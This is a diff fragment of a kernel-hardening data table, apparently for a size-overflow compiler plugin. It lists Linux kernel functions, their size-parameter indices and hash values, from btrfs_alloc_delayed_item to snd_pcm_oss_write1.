++_000101_hash btrfs_alloc_delayed_item 1 11678 _000101_hash NULL
++_000102_hash c4iw_id_table_alloc 3 48163 _000102_hash NULL
++_000103_hash cache_do_downcall 3 6926 _000103_hash NULL
++_000104_hash cachefiles_cook_key 2 33274 _000104_hash NULL
++_000105_hash cachefiles_daemon_write 3 43535 _000105_hash NULL
++_000106_hash capi_write 3 35104 _003607_hash NULL nohasharray
++_000107_hash carl9170_debugfs_write 3 50857 _000107_hash NULL
++_000108_hash cciss_allocate_sg_chain_blocks 2-3 5368 _000108_hash NULL
++_000110_hash cciss_proc_write 3 10259 _000110_hash NULL
++_000111_hash cdrom_read_cdda_old 4 27664 _000111_hash NULL
++_000112_hash ceph_alloc_page_vector 1 18710 _000112_hash NULL
++_000113_hash ceph_buffer_new 1 35974 _000113_hash NULL
++_000114_hash ceph_copy_user_to_page_vector 3-4 656 _000114_hash NULL
++_000116_hash ceph_get_direct_page_vector 2 41917 _000116_hash NULL
++_000117_hash ceph_msg_new 2 5846 _000117_hash NULL
++_000118_hash ceph_setxattr 4 18913 _000118_hash NULL
++_000119_hash cfi_read_pri 3 24366 _000119_hash NULL
++_000120_hash cgroup_write_string 5 10900 _000120_hash NULL
++_000121_hash cgroup_write_X64 5 54514 _000121_hash NULL
++_000122_hash change_xattr 5 61390 _000122_hash NULL
++_000123_hash check_load_and_stores 2 2143 _000123_hash NULL
++_000124_hash cifs_idmap_key_instantiate 3 54503 _000124_hash NULL
++_000125_hash cifs_security_flags_proc_write 3 5484 _000125_hash NULL
++_000126_hash cifs_setxattr 4 23957 _000126_hash NULL
++_000127_hash cifs_spnego_key_instantiate 3 23588 _000127_hash NULL
++_000128_hash cld_pipe_downcall 3 15058 _000128_hash NULL
++_000129_hash clear_refs_write 3 61904 _000129_hash NULL
++_000130_hash clusterip_proc_write 3 44729 _000130_hash NULL
++_000131_hash cm4040_write 3 58079 _000131_hash NULL
++_000132_hash cm_copy_private_data 2 3649 _000132_hash NULL
++_000133_hash cmm_write 3 2896 _000133_hash NULL
++_000134_hash cm_write 3 36858 _000134_hash NULL
++_000135_hash coda_psdev_write 3 1711 _000135_hash NULL
++_000136_hash codec_reg_read_file 3 36280 _000136_hash NULL
++_000137_hash command_file_write 3 31318 _000137_hash NULL
++_000138_hash command_write 3 58841 _000138_hash NULL
++_000139_hash comm_write 3 44537 _001714_hash NULL nohasharray
++_000140_hash concat_writev 3 21451 _000140_hash NULL
++_000141_hash copy_and_check 3 19089 _000141_hash NULL
++_000142_hash copy_from_user_toio 3 31966 _000142_hash NULL
++_000143_hash copy_items 6 50140 _000143_hash NULL
++_000144_hash copy_macs 4 45534 _000144_hash NULL
++_000145_hash __copy_to_user 3 17551 _000145_hash NULL
++_000146_hash copy_vm86_regs_from_user 3 45340 _000146_hash NULL
++_000147_hash core_sys_select 1 47494 _000147_hash NULL
++_000148_hash cosa_write 3 1774 _000148_hash NULL
++_000149_hash cp210x_set_config 4 46447 _000149_hash NULL
++_000150_hash create_entry 2 33479 _000150_hash NULL
++_000151_hash create_queues 2-3 9088 _000151_hash NULL
++_000153_hash create_xattr 5 54106 _000153_hash NULL
++_000154_hash create_xattr_datum 5 33356 _003443_hash NULL nohasharray
++_000155_hash csum_partial_copy_fromiovecend 3-4 9957 _000155_hash NULL
++_000157_hash ctrl_out 3-5 8712 _000157_hash NULL
++_000159_hash cxacru_cm_get_array 4 4412 _000159_hash NULL
++_000160_hash cxgbi_alloc_big_mem 1 4707 _000160_hash NULL
++_000161_hash dac960_user_command_proc_write 3 3071 _000161_hash NULL
++_000162_hash datablob_format 2 39571 _002490_hash NULL nohasharray
++_000163_hash dccp_feat_clone_sp_val 3 11942 _000163_hash NULL
++_000164_hash dccp_setsockopt_ccid 4 30701 _000164_hash NULL
++_000165_hash dccp_setsockopt_cscov 2 37766 _000165_hash NULL
++_000166_hash dccp_setsockopt_service 4 65336 _000166_hash NULL
++_000167_hash ddebug_proc_write 3 18055 _000167_hash NULL
++_000168_hash dev_config 3 8506 _000168_hash NULL
++_000169_hash device_write 3 45156 _000169_hash NULL
++_000170_hash devm_kzalloc 2 4966 _000170_hash NULL
++_000171_hash devres_alloc 2 551 _000171_hash NULL
++_000172_hash dfs_file_write 3 41196 _000172_hash NULL
++_000173_hash direct_entry 3 38836 _000173_hash NULL
++_000174_hash dispatch_ioctl 2 32357 _000174_hash NULL
++_000175_hash dispatch_proc_write 3 44320 _000175_hash NULL
++_000176_hash diva_os_copy_from_user 4 7792 _000176_hash NULL
++_000177_hash dlm_alloc_pagevec 1 54296 _000177_hash NULL
++_000178_hash dlmfs_file_read 3 28385 _000178_hash NULL
++_000179_hash dlmfs_file_write 3 6892 _000179_hash NULL
++_000180_hash dm_read 3 15674 _000180_hash NULL
++_000181_hash dm_write 3 2513 _000181_hash NULL
++_000182_hash __dn_setsockopt 5 13060 _000182_hash NULL
++_000183_hash dns_query 3 9676 _000183_hash NULL
++_000184_hash dns_resolver_instantiate 3 63314 _000184_hash NULL
++_000185_hash do_add_counters 3 3992 _000185_hash NULL
++_000186_hash __do_config_autodelink 3 58763 _000186_hash NULL
++_000187_hash do_ip_setsockopt 5 41852 _000187_hash NULL
++_000188_hash do_ipv6_setsockopt 5 18215 _000188_hash NULL
++_000189_hash do_ip_vs_set_ctl 4 48641 _000189_hash NULL
++_000190_hash do_kimage_alloc 3 64827 _000190_hash NULL
++_000191_hash do_register_entry 4 29478 _000191_hash NULL
++_000192_hash do_tty_write 5 44896 _000192_hash NULL
++_000193_hash do_update_counters 4 2259 _000193_hash NULL
++_000194_hash dsp_write 2 46218 _000194_hash NULL
++_000195_hash dup_to_netobj 3 26363 _000195_hash NULL
++_000196_hash dwc3_link_state_write 3 12641 _000196_hash NULL
++_000197_hash dwc3_mode_write 3 51997 _000197_hash NULL
++_000198_hash dwc3_testmode_write 3 30516 _000198_hash NULL
++_000199_hash ecryptfs_copy_filename 4 11868 _000199_hash NULL
++_000200_hash ecryptfs_miscdev_write 3 26847 _000200_hash NULL
++_000201_hash ecryptfs_send_miscdev 2 64816 _000201_hash NULL
++_000202_hash efx_tsoh_heap_alloc 2 58545 _000202_hash NULL
++_000203_hash emi26_writememory 4 57908 _000203_hash NULL
++_000204_hash emi62_writememory 4 29731 _000204_hash NULL
++_000205_hash encrypted_instantiate 3 3168 _000205_hash NULL
++_000206_hash encrypted_update 3 13414 _000206_hash NULL
++_000207_hash ep0_write 3 14536 _001422_hash NULL nohasharray
++_000208_hash ep_read 3 58813 _000208_hash NULL
++_000209_hash ep_write 3 59008 _000209_hash NULL
++_000210_hash erst_dbg_write 3 46715 _000210_hash NULL
++_000211_hash esp_alloc_tmp 2-3 40558 _000211_hash NULL
++_000213_hash evdev_do_ioctl 2 24459 _000213_hash NULL
++_000214_hash exofs_read_lookup_dev_table 3 17733 _000214_hash NULL
++_000215_hash ext4_kvmalloc 1 14796 _000215_hash NULL
++_000216_hash ezusb_writememory 4 45976 _000216_hash NULL
++_000217_hash fanotify_write 3 64623 _000217_hash NULL
++_000218_hash fd_copyin 3 56247 _000218_hash NULL
++_000219_hash ffs_epfile_io 3 64886 _000219_hash NULL
++_000220_hash ffs_prepare_buffer 2 59892 _000220_hash NULL
++_000221_hash f_hidg_write 3 7932 _000221_hash NULL
++_000222_hash file_read_actor 4 1401 _000222_hash NULL
++_000223_hash fill_write_buffer 3 3142 _000223_hash NULL
++_000224_hash __find_xattr 6 2117 _002425_hash NULL nohasharray
++_000225_hash fl_create 5 56435 _000225_hash NULL
++_000226_hash fs_path_ensure_buf 2 59445 _000226_hash NULL
++_000227_hash ftdi_elan_write 3 57309 _000227_hash NULL
++_000228_hash fw_iso_buffer_alloc 2 13704 _000228_hash NULL
++_000229_hash garmin_write_bulk 3 58191 _000229_hash NULL
++_000230_hash garp_attr_create 3 3883 _000230_hash NULL
++_000231_hash get_arg 3 5694 _000231_hash NULL
++_000232_hash getdqbuf 1 62908 _000232_hash NULL
++_000233_hash get_fdb_entries 3 41916 _000233_hash NULL
++_000234_hash get_fd_set 1 3866 _000234_hash NULL
++_000235_hash get_indirect_ea 4 51869 _000235_hash NULL
++_000236_hash get_registers 3 26187 _000236_hash NULL
++_000237_hash get_scq 2 10897 _000237_hash NULL
++_000238_hash get_server_iovec 2 16804 _000238_hash NULL
++_000239_hash get_ucode_user 3 38202 _000239_hash NULL
++_000240_hash get_user_cpu_mask 2 14861 _000240_hash NULL
++_000241_hash gfs2_alloc_sort_buffer 1 18275 _000241_hash NULL
++_000242_hash gfs2_glock_nq_m 1 20347 _000242_hash NULL
++_000243_hash gigaset_initcs 2 43753 _000243_hash NULL
++_000244_hash gigaset_initdriver 2 1060 _000244_hash NULL
++_000245_hash groups_alloc 1 7614 _000245_hash NULL
++_000246_hash gs_alloc_req 2 58883 _000246_hash NULL
++_000247_hash gs_buf_alloc 2 25067 _000247_hash NULL
++_000248_hash gsm_data_alloc 3 42437 _000248_hash NULL
++_000249_hash gss_pipe_downcall 3 23182 _000249_hash NULL
++_000250_hash handle_request 9 10024 _000250_hash NULL
++_000251_hash hashtab_create 3 33769 _000251_hash NULL
++_000252_hash hcd_buffer_alloc 2 27495 _000252_hash NULL
++_000253_hash hci_sock_setsockopt 5 28993 _000253_hash NULL
++_000254_hash heap_init 2 49617 _000254_hash NULL
++_000255_hash hest_ghes_dev_register 1 46766 _000255_hash NULL
++_000256_hash hidg_alloc_ep_req 2 10159 _000256_hash NULL
++_000257_hash hid_parse_report 3 51737 _000257_hash NULL
++_000258_hash hidraw_get_report 3 45609 _000258_hash NULL
++_000259_hash hidraw_report_event 3 20503 _000259_hash NULL
++_000260_hash hidraw_send_report 3 23449 _000260_hash NULL
++_000261_hash hpfs_translate_name 3 41497 _000261_hash NULL
++_000262_hash hysdn_conf_write 3 52145 _000262_hash NULL
++_000263_hash __i2400mu_send_barker 3 23652 _000263_hash NULL
++_000264_hash i2cdev_read 3 1206 _000264_hash NULL
++_000265_hash i2cdev_write 3 23310 _000265_hash NULL
++_000266_hash i2o_parm_field_get 5 34477 _000266_hash NULL
++_000267_hash i2o_parm_table_get 6 61635 _000267_hash NULL
++_000268_hash ib_copy_from_udata 3 59502 _000268_hash NULL
++_000269_hash ib_ucm_alloc_data 3 36885 _000269_hash NULL
++_000270_hash ib_umad_write 3 47993 _000270_hash NULL
++_000271_hash ib_uverbs_unmarshall_recv 5 12251 _000271_hash NULL
++_000272_hash icn_writecmd 2 38629 _000272_hash NULL
++_000273_hash ide_driver_proc_write 3 32493 _000273_hash NULL
++_000274_hash ide_settings_proc_write 3 35110 _000274_hash NULL
++_000275_hash idetape_chrdev_write 3 53976 _000275_hash NULL
++_000276_hash idmap_pipe_downcall 3 14591 _000276_hash NULL
++_000277_hash ieee80211_build_probe_req 7-5 27660 _000277_hash NULL
++_000278_hash ieee80211_if_write 3 34894 _000278_hash NULL
++_000279_hash if_write 3 51756 _000279_hash NULL
++_000280_hash ilo_write 3 64378 _000280_hash NULL
++_000281_hash ima_write_policy 3 40548 _000281_hash NULL
++_000282_hash init_data_container 1 60709 _000282_hash NULL
++_000283_hash init_send_hfcd 1 34586 _000283_hash NULL
++_000284_hash insert_dent 7 65034 _000284_hash NULL
++_000285_hash interpret_user_input 2 19393 _000285_hash NULL
++_000286_hash int_proc_write 3 39542 _000286_hash NULL
++_000287_hash ioctl_private_iw_point 7 1273 _000287_hash NULL
++_000288_hash iov_iter_copy_from_user 4 31942 _000288_hash NULL
++_000289_hash iov_iter_copy_from_user_atomic 4 56368 _000289_hash NULL
++_000290_hash iowarrior_write 3 18604 _000290_hash NULL
++_000291_hash ipc_alloc 1 1192 _000291_hash NULL
++_000292_hash ipc_rcu_alloc 1 21208 _000292_hash NULL
++_000293_hash ip_options_get_from_user 4 64958 _000293_hash NULL
++_000294_hash ipv6_renew_option 3 38813 _000294_hash NULL
++_000295_hash ip_vs_conn_fill_param_sync 6 29771 _001898_hash NULL nohasharray
++_000296_hash ip_vs_create_timeout_table 2 64478 _000296_hash NULL
++_000297_hash ipw_queue_tx_init 3 49161 _000297_hash NULL
++_000298_hash irda_setsockopt 5 19824 _000298_hash NULL
++_000299_hash irias_new_octseq_value 2 13596 _003821_hash NULL nohasharray
++_000300_hash irnet_ctrl_write 3 24139 _000300_hash NULL
++_000301_hash isdn_add_channels 3 40905 _000301_hash NULL
++_000302_hash isdn_ppp_fill_rq 2 41428 _000302_hash NULL
++_000303_hash isdn_ppp_write 4 29109 _000303_hash NULL
++_000304_hash isdn_read 3 50021 _000304_hash NULL
++_000305_hash isdn_v110_open 3 2418 _000305_hash NULL
++_000306_hash isdn_writebuf_stub 4 52383 _000306_hash NULL
++_000307_hash islpci_mgt_transmit 5 34133 _000307_hash NULL
++_000308_hash iso_callback 3 43208 _000308_hash NULL
++_000309_hash iso_packets_buffer_init 3-4 29061 _000309_hash NULL
++_000310_hash it821x_firmware_command 3 8628 _000310_hash NULL
++_000311_hash iwch_alloc_fastreg_pbl 2 40153 _000311_hash NULL
++_000312_hash iwl_calib_set 3 34400 _003754_hash NULL nohasharray
++_000313_hash jbd2_journal_init_revoke_table 1 36336 _000313_hash NULL
++_000314_hash jffs2_alloc_full_dirent 1 60179 _001158_hash NULL nohasharray
++_000315_hash journal_init_revoke_table 1 56331 _000315_hash NULL
++_000316_hash kcalloc 1-2 27770 _000316_hash NULL
++_000318_hash keyctl_instantiate_key_common 4 47889 _000318_hash NULL
++_000319_hash keyctl_update_key 3 26061 _000319_hash NULL
++_000320_hash __kfifo_alloc 2-3 22173 _000320_hash NULL
++_000322_hash kfifo_copy_from_user 3 5091 _000322_hash NULL
++_000323_hash kmalloc_node 1 50163 _003818_hash NULL nohasharray
++_000324_hash kmalloc_parameter 1 65279 _000324_hash NULL
++_000325_hash kmem_alloc 1 31920 _000325_hash NULL
++_000326_hash kobj_map 2-3 9566 _000326_hash NULL
++_000328_hash kone_receive 4 4690 _000328_hash NULL
++_000329_hash kone_send 4 63435 _000329_hash NULL
++_000330_hash krealloc 2 14908 _000330_hash NULL
++_000331_hash kvmalloc 1 32646 _000331_hash NULL
++_000332_hash kvm_read_guest_atomic 4 10765 _000332_hash NULL
++_000333_hash kvm_read_guest_cached 4 39666 _000333_hash NULL
++_000334_hash kvm_read_guest_page 5 18074 _000334_hash NULL
++_000335_hash kzalloc 1 54740 _000335_hash NULL
++_000336_hash l2cap_sock_setsockopt 5 50207 _000336_hash NULL
++_000337_hash l2cap_sock_setsockopt_old 4 29346 _000337_hash NULL
++_000338_hash lane2_associate_req 4 45398 _000338_hash NULL
++_000339_hash lbs_debugfs_write 3 48413 _000339_hash NULL
++_000340_hash lcd_write 3 14857 _000340_hash &_000015_hash
++_000341_hash ldm_frag_add 2 5611 _000341_hash NULL
++_000342_hash __lgread 4 31668 _000342_hash NULL
++_000343_hash libipw_alloc_txb 1-3-2 27579 _000343_hash NULL
++_000344_hash link_send_sections_long 4 46556 _000344_hash NULL
++_000345_hash listxattr 3 12769 _000345_hash NULL
++_000346_hash load_msg 2 95 _000346_hash NULL
++_000347_hash lpfc_debugfs_dif_err_write 3 17424 _000347_hash NULL
++_000348_hash lp_write 3 9511 _000348_hash NULL
++_000349_hash mb_cache_create 2 17307 _000349_hash NULL
++_000350_hash mce_write 3 26201 _000350_hash NULL
++_000351_hash mcs7830_get_reg 3 33308 _000351_hash NULL
++_000352_hash mcs7830_set_reg 3 31413 _000352_hash NULL
++_000353_hash memcpy_fromiovec 3 55247 _000353_hash NULL
++_000354_hash memcpy_fromiovecend 3-4 2707 _000354_hash NULL
++_000356_hash mempool_resize 2 47983 _002039_hash NULL nohasharray
++_000357_hash mem_rw 3 22085 _000357_hash NULL
++_000358_hash mgmt_control 3 7349 _000358_hash NULL
++_000359_hash mgmt_pending_add 5 46976 _000359_hash NULL
++_000360_hash mlx4_ib_alloc_fast_reg_page_list 2 46119 _000360_hash NULL
++_000361_hash mmc_alloc_sg 1 21504 _000361_hash NULL
++_000362_hash mmc_send_bus_test 4 18285 _000362_hash NULL
++_000363_hash mmc_send_cxd_data 5 38655 _000363_hash NULL
++_000364_hash module_alloc_update_bounds 1 47205 _000364_hash NULL
++_000365_hash move_addr_to_kernel 2 32673 _000365_hash NULL
++_000366_hash mpi_alloc_limb_space 1 23190 _000366_hash NULL
++_000367_hash mpi_resize 2 44674 _000367_hash NULL
++_000368_hash mptctl_getiocinfo 2 28545 _000368_hash NULL
++_000369_hash mtdchar_readoob 4 31200 _000369_hash NULL
++_000370_hash mtdchar_write 3 56831 _002122_hash NULL nohasharray
++_000371_hash mtdchar_writeoob 4 3393 _000371_hash NULL
++_000372_hash mtd_device_parse_register 5 5024 _000372_hash NULL
++_000373_hash mtf_test_write 3 18844 _000373_hash NULL
++_000374_hash mthca_alloc_icm_table 3-4 38268 _002459_hash NULL nohasharray
++_000376_hash mthca_alloc_init 2 21754 _000376_hash NULL
++_000377_hash mthca_array_init 2 39987 _000377_hash NULL
++_000378_hash mthca_buf_alloc 2 35861 _000378_hash NULL
++_000379_hash mtrr_write 3 59622 _000379_hash NULL
++_000380_hash musb_test_mode_write 3 33518 _000380_hash NULL
++_000381_hash mwifiex_get_common_rates 3 17131 _000381_hash NULL
++_000382_hash __mxt_write_reg 3 57326 _000382_hash NULL
++_000383_hash nand_bch_init 2-3 16280 _001439_hash NULL nohasharray
++_000385_hash ncp_file_write 3 3813 _000385_hash NULL
++_000386_hash ncp__vol2io 5 4804 _000386_hash NULL
++_000387_hash nes_alloc_fast_reg_page_list 2 33523 _000387_hash NULL
++_000388_hash nfc_targets_found 3 29886 _000388_hash NULL
++_000389_hash __nf_ct_ext_add_length 3 12364 _000389_hash NULL
++_000390_hash nfs4_acl_new 1 49806 _000390_hash NULL
++_000391_hash nfs4_write_cached_acl 4 15070 _000391_hash NULL
++_000392_hash nfsd_symlink 6 63442 _000392_hash NULL
++_000393_hash nfs_idmap_get_desc 2-4 42990 _000393_hash NULL
++_000395_hash nfs_readdir_make_qstr 3 12509 _000395_hash NULL
++_000396_hash note_last_dentry 3 12285 _000396_hash NULL
++_000397_hash ntfs_copy_from_user 3-5 15072 _000397_hash NULL
++_000399_hash __ntfs_copy_from_user_iovec_inatomic 3-4 38153 _000399_hash NULL
++_000401_hash ntfs_ucstonls 3-5 23097 _000401_hash NULL
++_000403_hash nvme_alloc_iod 1 56027 _000403_hash NULL
++_000404_hash nvram_write 3 3894 _000404_hash NULL
++_000405_hash o2hb_debug_create 4 18744 _000405_hash NULL
++_000406_hash o2net_send_message_vec 4 879 _002013_hash NULL nohasharray
++_000407_hash ocfs2_control_cfu 2 37750 _000407_hash NULL
++_000408_hash oom_adjust_write 3 41116 _000408_hash NULL
++_000409_hash oom_score_adj_write 3 42594 _000409_hash NULL
++_000410_hash oprofilefs_ulong_from_user 3 57251 _000410_hash NULL
++_000411_hash opticon_write 4 60775 _000411_hash NULL
++_000412_hash p9_check_zc_errors 4 15534 _000412_hash NULL
++_000413_hash packet_buffer_init 2 1607 _000413_hash NULL
++_000414_hash packet_setsockopt 5 17662 _000414_hash NULL
++_000415_hash parse_command 2 37079 _000415_hash NULL
++_000416_hash pcbit_writecmd 2 12332 _000416_hash NULL
++_000417_hash pcmcia_replace_cis 3 57066 _000417_hash NULL
++_000418_hash pgctrl_write 3 50453 _000418_hash NULL
++_000419_hash pg_write 3 40766 _000419_hash NULL
++_000420_hash pidlist_allocate 1 64404 _000420_hash NULL
++_000421_hash pipe_iov_copy_from_user 3 23102 _000421_hash NULL
++_000422_hash pipe_iov_copy_to_user 3 3447 _000422_hash NULL
++_000423_hash pkt_add 3 39897 _000423_hash NULL
++_000424_hash pktgen_if_write 3 55628 _000424_hash NULL
++_000425_hash platform_device_add_data 3 310 _000425_hash NULL
++_000426_hash platform_device_add_resources 3 13289 _000426_hash NULL
++_000427_hash pmcraid_copy_sglist 3 38431 _000427_hash NULL
++_000428_hash pm_qos_power_write 3 52513 _000428_hash NULL
++_000429_hash pnpbios_proc_write 3 19758 _000429_hash NULL
++_000430_hash pool_allocate 3 42012 _000430_hash NULL
++_000431_hash posix_acl_alloc 1 48063 _000431_hash NULL
++_000432_hash ppp_cp_parse_cr 4 5214 _000432_hash NULL
++_000433_hash ppp_write 3 34034 _000433_hash NULL
++_000434_hash pp_read 3 33210 _000434_hash NULL
++_000435_hash pp_write 3 39554 _000435_hash NULL
++_000436_hash printer_req_alloc 2 62687 _000436_hash NULL
++_000437_hash printer_write 3 60276 _000437_hash NULL
++_000438_hash prism2_info_scanresults 3 59729 _000438_hash NULL
++_000439_hash prism2_set_genericelement 3 29277 _000439_hash NULL
++_000440_hash __probe_kernel_read 3 61119 _000440_hash NULL
++_000441_hash __probe_kernel_write 3 29842 _000441_hash NULL
++_000442_hash proc_coredump_filter_write 3 25625 _000442_hash NULL
++_000443_hash _proc_do_string 2 6376 _000443_hash NULL
++_000444_hash process_vm_rw_pages 5-6 15954 _000444_hash NULL
++_000446_hash proc_loginuid_write 3 63648 _000446_hash NULL
++_000447_hash proc_pid_attr_write 3 63845 _000447_hash NULL
++_000448_hash proc_scsi_devinfo_write 3 32064 _000448_hash NULL
++_000449_hash proc_scsi_write 3 29142 _000449_hash NULL
++_000450_hash proc_scsi_write_proc 3 267 _000450_hash NULL
++_000451_hash pskb_expand_head 2-3 42881 _000451_hash NULL
++_000453_hash pstore_mkfile 5 50830 _000453_hash NULL
++_000454_hash pti_char_write 3 60960 _000454_hash NULL
++_000455_hash ptrace_writedata 4 45021 _000455_hash NULL
++_000456_hash pt_write 3 40159 _000456_hash NULL
++_000457_hash qdisc_class_hash_alloc 1 18262 _000457_hash NULL
++_000458_hash r3964_write 4 57662 _000458_hash NULL
++_000459_hash raw_seticmpfilter 3 6888 _000459_hash NULL
++_000460_hash raw_setsockopt 5 45800 _000460_hash NULL
++_000461_hash rawv6_seticmpfilter 5 12137 _000461_hash NULL
++_000462_hash ray_cs_essid_proc_write 3 17875 _000462_hash NULL
++_000463_hash rbd_add 3 16366 _000463_hash NULL
++_000464_hash rbd_snap_add 4 19678 _000464_hash NULL
++_000465_hash rdma_set_ib_paths 3 45592 _000465_hash NULL
++_000466_hash rds_page_copy_user 4 35691 _000466_hash NULL
++_000467_hash read 3 9397 _000467_hash NULL
++_000468_hash read_buf 2 20469 _000468_hash NULL
++_000469_hash read_cis_cache 4 29735 _000469_hash NULL
++_000470_hash realloc_buffer 2 25816 _000470_hash NULL
++_000471_hash receive_DataRequest 3 9904 _000471_hash NULL
++_000472_hash recent_mt_proc_write 3 8206 _000472_hash NULL
++_000473_hash regmap_access_read_file 3 37223 _000473_hash NULL
++_000474_hash regmap_bulk_write 4 59049 _000474_hash NULL
++_000475_hash regmap_map_read_file 3 37685 _000475_hash NULL
++_000476_hash regset_tls_set 4 18459 _000476_hash NULL
++_000477_hash reiserfs_add_entry 4 23062 _002792_hash NULL nohasharray
++_000478_hash remote_settings_file_write 3 22987 _000478_hash NULL
++_000479_hash request_key_auth_new 3 38092 _000479_hash NULL
++_000480_hash restore_i387_fxsave 2 17528 _000480_hash NULL
++_000481_hash revalidate 2 19043 _000481_hash NULL
++_000482_hash rfcomm_sock_setsockopt 5 18254 _000482_hash NULL
++_000483_hash rndis_add_response 2 58544 _000483_hash NULL
++_000484_hash rndis_set_oid 4 6547 _000484_hash NULL
++_000485_hash rngapi_reset 3 34366 _002137_hash NULL nohasharray
++_000486_hash roccat_common2_receive 4 50369 _000486_hash NULL
++_000487_hash roccat_common2_send 4 2422 _000487_hash NULL
++_000488_hash rpc_malloc 2 43573 _000488_hash NULL
++_000489_hash rt2x00debug_write_bbp 3 8212 _000489_hash NULL
++_000490_hash rt2x00debug_write_csr 3 64753 _000490_hash NULL
++_000491_hash rt2x00debug_write_eeprom 3 23091 _000491_hash NULL
++_000492_hash rt2x00debug_write_rf 3 38195 _000492_hash NULL
++_000493_hash rt2x00debug_write_rfcsr 3 41473 _000493_hash NULL
++_000494_hash rts51x_read_mem 4 26577 _002730_hash NULL nohasharray
++_000495_hash rts51x_read_status 4 11830 _000495_hash NULL
++_000496_hash rts51x_write_mem 4 17598 _000496_hash NULL
++_000497_hash rw_copy_check_uvector 3 45748 _003716_hash NULL nohasharray
++_000498_hash rxrpc_request_key 3 27235 _000498_hash NULL
++_000499_hash rxrpc_server_keyring 3 16431 _000499_hash NULL
++_000500_hash savemem 3 58129 _000500_hash NULL
++_000501_hash sb16_copy_from_user 10-7-6 55836 _000501_hash NULL
++_000504_hash sched_autogroup_write 3 10984 _000504_hash NULL
++_000505_hash scsi_mode_select 6 37330 _000505_hash NULL
++_000506_hash scsi_tgt_copy_sense 3 26933 _000506_hash NULL
++_000507_hash sctp_auth_create_key 1 51641 _000507_hash NULL
++_000508_hash sctp_getsockopt_delayed_ack 2 9232 _000508_hash NULL
++_000509_hash sctp_getsockopt_local_addrs 2 25178 _000509_hash NULL
++_000510_hash sctp_make_abort_user 3 29654 _000510_hash NULL
++_000511_hash sctp_setsockopt_active_key 3 43755 _000511_hash NULL
++_000512_hash sctp_setsockopt_adaptation_layer 3 26935 _003246_hash NULL nohasharray
++_000513_hash sctp_setsockopt_associnfo 3 51684 _000513_hash NULL
++_000514_hash sctp_setsockopt_auth_chunk 3 30843 _000514_hash NULL
++_000515_hash sctp_setsockopt_auth_key 3 3793 _000515_hash NULL
++_000516_hash sctp_setsockopt_autoclose 3 5775 _000516_hash NULL
++_000517_hash sctp_setsockopt_bindx 3 49870 _000517_hash NULL
++_000518_hash __sctp_setsockopt_connectx 3 46949 _000518_hash NULL
++_000519_hash sctp_setsockopt_context 3 31091 _000519_hash NULL
++_000520_hash sctp_setsockopt_default_send_param 3 49578 _000520_hash NULL
++_000521_hash sctp_setsockopt_delayed_ack 3 40129 _000521_hash NULL
++_000522_hash sctp_setsockopt_del_key 3 42304 _002709_hash NULL nohasharray
++_000523_hash sctp_setsockopt_events 3 18862 _000523_hash NULL
++_000524_hash sctp_setsockopt_hmac_ident 3 11687 _000524_hash NULL
++_000525_hash sctp_setsockopt_initmsg 3 1383 _000525_hash NULL
++_000526_hash sctp_setsockopt_maxburst 3 28041 _000526_hash NULL
++_000527_hash sctp_setsockopt_maxseg 3 11829 _000527_hash NULL
++_000528_hash sctp_setsockopt_peer_addr_params 3 734 _000528_hash NULL
++_000529_hash sctp_setsockopt_peer_primary_addr 3 13440 _000529_hash NULL
++_000530_hash sctp_setsockopt_rtoinfo 3 30941 _000530_hash NULL
++_000531_hash security_context_to_sid_core 2 29248 _000531_hash NULL
++_000532_hash sel_commit_bools_write 3 46077 _000532_hash NULL
++_000533_hash sel_write_avc_cache_threshold 3 2256 _000533_hash NULL
++_000534_hash sel_write_bool 3 46996 _000534_hash NULL
++_000535_hash sel_write_checkreqprot 3 60774 _000535_hash NULL
++_000536_hash sel_write_disable 3 10511 _000536_hash NULL
++_000537_hash sel_write_enforce 3 48998 _000537_hash NULL
++_000538_hash sel_write_load 3 63830 _000538_hash NULL
++_000539_hash send_bulk_static_data 3 61932 _000539_hash NULL
++_000540_hash set_aoe_iflist 2 42737 _000540_hash NULL
++_000541_hash setkey_unaligned 3 39474 _000541_hash NULL
++_000542_hash set_registers 3 53582 _000542_hash NULL
++_000543_hash setsockopt 5 54539 _000543_hash NULL
++_000544_hash setup_req 3 5848 _000544_hash NULL
++_000545_hash setxattr 4 37006 _000545_hash NULL
++_000546_hash sfq_alloc 1 2861 _000546_hash NULL
++_000547_hash sg_kmalloc 1 50240 _000547_hash NULL
++_000548_hash sgl_map_user_pages 2 30610 _000548_hash NULL
++_000549_hash shash_setkey_unaligned 3 8620 _000549_hash NULL
++_000550_hash shmem_xattr_alloc 2 61190 _000550_hash NULL
++_000551_hash sierra_setup_urb 5 46029 _000551_hash NULL
++_000552_hash simple_transaction_get 3 50633 _000552_hash NULL
++_000553_hash simple_write_to_buffer 2-5 3122 _000553_hash NULL
++_000555_hash sisusb_send_bulk_msg 3 17864 _000555_hash NULL
++_000556_hash skb_add_data 3 48363 _000556_hash NULL
++_000557_hash skb_do_copy_data_nocache 5 12465 _000557_hash NULL
++_000558_hash sl_alloc_bufs 2 50380 _000558_hash NULL
++_000559_hash sl_realloc_bufs 2 64086 _000559_hash NULL
++_000560_hash smk_set_cipso 3 20379 _000560_hash NULL
++_000561_hash smk_write_ambient 3 45691 _000561_hash NULL
++_000562_hash smk_write_direct 3 46363 _000562_hash NULL
++_000563_hash smk_write_doi 3 49621 _000563_hash NULL
++_000564_hash smk_write_logging 3 2618 _000564_hash NULL
++_000565_hash smk_write_mapped 3 13519 _000565_hash NULL
++_000566_hash smk_write_netlbladdr 3 42525 _000566_hash NULL
++_000567_hash smk_write_onlycap 3 14400 _000567_hash NULL
++_000568_hash smk_write_rules_list 3 18565 _000568_hash NULL
++_000569_hash snd_ctl_elem_user_tlv 3 11695 _000569_hash NULL
++_000570_hash snd_emu10k1_fx8010_read 5 9605 _000570_hash NULL
++_000571_hash snd_emu10k1_synth_copy_from_user 3-5 9061 _000571_hash NULL
++_000573_hash snd_gus_dram_poke 4 18525 _000573_hash NULL
++_000574_hash snd_hdsp_playback_copy 5 20676 _000574_hash NULL
++_000575_hash snd_info_entry_write 3 63474 _000575_hash NULL
++_000576_hash snd_korg1212_copy_from 6 36169 _000576_hash NULL
++_000577_hash snd_mem_proc_write 3 9786 _000577_hash NULL
++_000578_hash snd_midi_channel_init_set 1 30092 _000578_hash NULL
++_000579_hash snd_midi_event_new 1 9893 _000764_hash NULL nohasharray
++_000580_hash snd_opl4_mem_proc_write 5 9670 _000580_hash NULL
++_000581_hash snd_pcm_aio_read 3 13900 _000581_hash NULL
++_000582_hash snd_pcm_aio_write 3 28738 _000582_hash NULL
++_000583_hash snd_pcm_oss_write1 3 10872 _000583_hash NULL
